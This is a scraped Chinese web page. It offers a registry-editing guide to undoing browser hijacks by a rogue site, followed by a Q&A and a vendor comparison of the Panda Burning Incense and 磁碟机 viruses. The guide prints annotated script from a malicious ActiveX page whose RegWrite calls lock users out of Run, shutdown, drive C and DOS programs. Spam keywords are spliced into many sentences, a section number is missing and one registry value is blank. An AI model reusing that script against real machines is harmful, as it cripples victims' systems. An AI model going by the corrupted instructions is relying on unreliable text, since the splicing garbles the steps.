皮皮网

1.首页被http://www.37021.net/流氓网站劫持
2.熊猫烧香 病毒有怎么厉害吗

首页被http://www.37021.net/流氓网站劫持

       A.注册表法:

       ①在Windows启动后，黄山点击“开始”→“运行”菜单项，源码源在“打开”栏中键入regedit，网黄然后按“确定”键；

       ②展开注册表到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，黄山在右半部分窗口中找到串值“Start Page”双击 ，源码源将Start Page的网黄alertdialogtheme源码键值改为“about :blank”即可；

       ③同理，展开注册表到　HKEY_CURRENT_USER\Software\MicrosoftInternet Explorer\Main

       在右半部分窗口中找到串值“Start Page”，黄山然后按②中所述方法处理。源码源

       ④退出注册表编辑器，网黄重新启动计算机，黄山一切OK了！源码源

       B.特殊例子：当IE的网黄起始页变成了某些网址后，就算你通过选项设置修改好了，黄山重启以后又会变成他们的源码源网址啦，十分的网黄难缠。其实他们是在你机器里加了一个自运行程序，它会在系统启动时将你的IE起始页设成他们的网站。

       解决办法：

       运行注册表编辑器regedit.exe，然后依次展开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run主键，然后将其下的registry.exe子键删除，然后删除自运行程序c:\ProgramFiles\registry.exe，最后从IE选项中重新设置起始页就好了。

       2、篡改IE的默认页

       有些IE被改了起始页后，即使设置了“使用默认页”仍然无效，雅安汉源码头这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改：HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL“Default_Page_URL”这个子键的键值即起始页的默认页。

       解决办法：

       A.运行注册表编辑器，然后展开上述子键，将“Default_Page_UR”子键的键值中的那些篡改网站的网址改掉就好了，或者设置为IE的默认值。

       B.msconfig 有的还是将程序写入硬盘中，重启计算机后 首页设置又被改了回去，这时可使用“系统配置实用程序”来解决。开始-运行，键入msconfig点击“确定”，在弹出的窗口中切换到“启动”选项卡，禁用可疑程序启动项。

       3、修改IE浏览器缺省主页，并且锁定设置项，禁止用户更改回来。主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选)：

       [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Settings"=dword:1

        [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel] "Links"=dword:1

        [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]"SecAddSites"=dword:1

       解决办法：

       将上面这些DWORD值改为“0”即可恢复功能。

       4、IE的默认首页灰色按扭不可选

       这是由于注册表HKEY_USERS\DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”，被修改为“1”（即为灰色不可选状态）。

       解决办法：

       将“homepage”的键值改为“0”即可。

       5、tikv源码解析系列IE标题栏被修改

       在系统默认状态下，是由应用程序本身来提供标题栏的信息，但也允许用户自行在上述注册表项目中填加信息，而一些恶意的网站正是利用了这一点来得逞的：它们将串值Window Title下的键值改为其网站名或更多的广告信息，从而达到改变浏览者IE标题栏的目的。

       具体说来受到更改的注册表项目为：

       HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title

       HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

       解决办法：

       ①在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；

       ②展开注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Window Title”，将该串值删除即可，或将Window Title的键值改为“IE浏览器”等你喜欢的名字；

       ③同理，展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main然后按②中所述方法处理。

       ④退出注册表编辑器，重新启动计算机，运行IE，你会发现困扰你的问题解决了！

       6、IE右键菜单被修改

       受到修改的注册表项目为：HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt下被新建了网页的广告信息，并由此在IE右键菜单中出现！

       解决办法：

       打开注册标编辑器，找到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt删除相关的广告条文即可，注意不要把下载软件FlashGet和Netants也删除掉啊，这两个可是称骨算命源码“正常”的呀，除非你不想在IE的右键菜单中见到它们。

       7、IE默认搜索引擎被修改

       在IE浏览器的工具栏中有一个搜索引擎的工具按钮，可以实现网络搜索，被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。

       出现这种现象的原因是以下注册表被修改：

       HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch

       HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant

       解决办法：

       运行注册表编辑器，依次展开上述子键，将“CustomizeSearch”和“SearchAssis tant”的键值改为某个搜索引擎的网址即可。

       8、系统启动时弹出对话框

       受到更改的注册表项目为： HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon在其下被建立了字符串“LegalNoticeCaption”和“LegalNoticeText”，其中“LegalNoticeCaption”是提示框的标题，“LegalNoticeText”是提示框的文本内容。由于它们的存在，就使得我们每次登陆到Windwos桌面前都出现一个提示窗口，显示那些网页的广告信息！你瞧，多讨厌啊！

       解决办法：

       打开注册表编辑器，找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogo这一个主键，然后在右边窗口中找到“LegalNoticeCaption”和“LegalNoticeText”这两个字符串，删除这两个字符串就可以解决在登陆时出现提示框的现象了。

       9、浏览网页注册表被禁用

       这是由于注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下的DWORD值“DisableRegistryTools”被修改为“1”的缘故，将其键值恢复为“0”即可恢复注册表的大师抽签源码下载使用。

       解决办法

       用记事本程序建立以REG为后缀名的文件，将下面这些内容复制在其中就可以了：

       REGEDIT4[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]“DisableRegistryTools”=dword:。

       、浏览网页开始菜单被修改

       这是最“狠”的一种，让浏览者有生不如死的感觉。浏览后不仅有类似上面所说的那些症状，还会有以下更悲惨的遭遇：

       进入该网页会被：

        1.修改开始菜单

        1）禁止“关闭系统”

        2）禁止“运行”

        3）禁止“注销”

        2.隐藏C盘——你的C盘找不到了

        3.禁止使用注册表编辑器regedit

        4.禁止使用DOS程序

        5.使系统无法进入“实模式”

        6.禁止运行任何程序

        7.将IE浏览器的首页改为/，收藏夹中也被加入该网址。

       那么这些功能恐怖的功能是如何实现的呢？原来，该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害，我查看了其源代码，将其主要部分列了出来，并加了详细的注释（文中有“注”字的部分是我加的注释）。

       注：下面代码是将你的IE默认连接首页改为/

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\

       Start Page", "/"）;

       注：以下是该网页修改受害者的注册表项所用的招数

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion

       \\Policies\\Explorer\\NoRun", , "REG_BINARY"）;

       注：使受害者系统没有“运行”项，这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Policies\\Explorer\\NoClose", , "REG_BINARY"）;

       注：使受害者系统没有“关闭系统”项

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Policies\\Explorer\\NoLogOff", , "REG_BINARY"）;

       注：使受害者系统没有“注销”项

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Policies\\Explorer\\NoDrives", "", "REG_DWORD"）;

       注：使受害者系统没有逻辑驱动器C

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Policies\\WinOldApp\\ Disabled","REG_BINARY"）;

       注：禁止运行所有的DOS应用程序；

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Policies\ \WinOldApp\\NoRealMode","REG_BINARY"）;

       注：使系统不能启动到“实模式”（传统的DOS模式）下；

       又注：进入该网页，它还会修改以下的注册表项，使WINDOWS系统登录时显示一个登录窗口（在MicroSoft网络用户登录之前）

       Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Winlogon\\LegalNoticeCaption", "呜啦啦..."）;

       注：这些代码会使窗口的标题是“呜啦啦…”

       Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\

       Winlogon\\LegalNoticeText", "欢迎你！你这个超级无敌大白痴！《呜啦啦...》故事开始了，按确定进入悲惨世界"）;

       注：上面一行是会在窗口中显示出来的文字

       注：下面两行代码修改注册表，使受害者所有的IE窗口都加上以下的标题：“呜啦啦…”

       Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\

       Window Title", "呜啦啦..."）;

       Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\

       Window Title", "呜啦啦..."）;

       注：到上面一行为止，完成了对受害者的注册表的所有修改！

熊猫烧香 病毒有怎么厉害吗

       早期是很强..最突出的破坏力就是

       感染所有exe文件.. 杀毒软件就算能杀,杀完所有的程序也不能运行..

       还有一点最可恶的就是,把你的备份文件删掉..让你只能重装

       现在不行了,源作者已经抓了. 而且杀毒也都有防了使系统上的所有EXE文件损坏，系统自动重启、关机， 系统黑屏、蓝屏，甚至崩溃！！！ “磁碟机”病毒近日在互联网引起轩然大波，由于病毒严重侵害了众多企业和个人用户系统，引起了全国电脑用户的一致声讨。随着国内老牌反病毒厂商江民科技率先举起“全国追杀磁碟机”的旗帜，越来越多的杀毒厂商加入到了剿杀“磁碟机”的行列，打响了又一场反病毒大战。

       去年的“熊猫烧香”病毒大战人们记忆犹新，因为病毒在电脑里面生成了很多举着三柱香的熊猫图案，一度引起全国电脑用户的议论和恐慌。然而，“磁碟机”病毒似乎并没有“熊猫烧香”那么火爆，但是许多反病毒专家都一致认为“磁碟机”危害十倍于“熊猫烧香”，这是为什么呢?

       江民科技反病毒专家何公道近日对“磁碟机”和“熊猫烧香”病毒进行了对比分析，从中可以看出“磁碟机”病毒为什么会被推为“毒王”了。

       一 、传播途径

       “熊猫烧香”病毒有多种传播方式。通过U盘和感染网页文件挂马传播，通过局域网传播，通过攻破一些大型网站，采用在正常网页上挂马的方式传播。 “磁碟机”病毒利用“ARP病毒”在局域网中进行自我传播，病毒通过访问一个恶意网址，下载并自动运行二十多个病毒，通过其中的ARP病毒，“磁碟机”可以瞬间传遍整个内电脑。“磁碟机”也可以通过U盘和网页挂马传播，但目前尚没有发现病毒作者通过攻破大型网站的方式挂马传播的案例，这也是目前“磁碟机” 在传播范围上尚不及“熊猫烧香”的原因，但如果一旦病毒作者通过这种方式大面积传播，后果将不堪设想。

       二、反攻杀毒能力

       “熊猫烧香”和“磁碟机”病毒都有反攻杀毒软件的能力，但不同的是，“熊猫烧香”只是通过发送关闭消息的方式关闭杀毒软件，而“磁碟机”则通过生成一个内核权限的程序来破坏杀毒软件的监控，使杀毒软件的监控功能失效，然后再关闭杀毒软件并阻止杀毒软件升级，并屏蔽主流的杀毒软件网页。这一点上， “磁碟机”远远超过了“熊猫烧香”病毒，导致一些主动防御功能不强的杀毒软件纷纷被关闭，目前，“磁碟机”能够关闭除江民杀毒软件KV最新版本之外的大部分主流杀毒软件，这也是为什么众多企业在遇到“磁碟机”病毒时，整个局域网内几乎无一台电脑幸免病毒之灾的原因。

       三、自我保护和隐藏能力

       “熊猫烧香”采用的是进程保护，病毒首先生成一个系统服务来保护其进程不被关闭，只要清除了病毒生成的系统服务，就可以轻松关闭其进程。而“磁碟机”在自我保护和隐藏技术上几乎无所不用其极，通过十余种技术来达到自我保护的目的。例如：利用进程守护技术，发现病毒文件被删除或被关闭，会马上生成重新运行。病毒程序以系统级权限运行，DLL组件会插入到系统中几乎所有的进程中加载运行(包括系统级权限的进程)。利用了关机回写技术，在关闭计算机时把病毒主程序体保存到[启动]文件夹中，实现开机自启动。系统启动后再将[启动]文件夹中病毒主体删除掉，实现既可隐蔽启动，又不被用户发现的目的。使用反HIPS 技术绕过部分主动防御程序“HIPS”的监控。利用光纤接入的服务器高速升级病毒体，迅速更新避免杀毒软件查杀。

       五、病毒变种和自我更新速度

       “熊猫烧香”由于技术上较“磁碟机”简单，加上源代码可能外泄，因此病毒变种较多，而”磁碟机”由于病毒程序复杂，加上目前可以确定其源代码尚未泄露到互联网上，因此一周只出现两到三个变种，最多的时候达到了一天出现两个变种的速度，虽然相较于“熊猫烧香”在变种数量上稍逊一筹，但“磁碟机”的在线升级更新速度之快令人咋舌。江民反病毒专家怀疑“磁碟机”病毒使用了光纤接入的升级服务器，能够实现在下载量很大的情况下，病毒体也可以瞬间自动完成更新。

       六、病毒的破坏性

       在破坏性上，“熊猫烧香”和“磁碟机”都能够感染电脑内的可执行文件和网页文件，导致系统运行缓慢，不同的是，“磁碟机”在感染文件过程中对感染文件进行了加密存放，使得清除病毒难度更大。两者都可以链接到恶意网页下载木马病毒，但在下载的木马病毒数量上，“磁碟机”远超过“熊猫烧香”，“磁碟机”能够下载二十余种木马病毒，“熊猫烧香”只能下载一个或几个木马。而“磁碟机”借助ARP病毒给企业局域网用户带来了巨大的灾难性事故，由于“磁碟机”可以借助 ARP方式瞬间感染所有局域网内电脑，因此许多单位的工作因此中断，造成了不可估量的损失。

       七、病毒的表现形式

       在表现形式上，“熊猫烧香”的表现十分明显，感染可执行文件生成“熊猫烧香”的图案，十分易于判断。而“磁碟机”的感染则十分低调隐蔽。他千方百计隐藏自身的行踪，普通用户从表面看很难发现有中毒的痕迹，很多用户中毒后尚不自知，除了感觉系统似乎变慢外无其它明显异常症状。而“磁碟机”病毒也正是在这种刻意低调的伪装下，伺机窃取用户的隐私敏感信息，包括帐号和网上银行、网上证券交易等帐号密码，这比“熊猫烧香”明目张胆的打劫更可怕。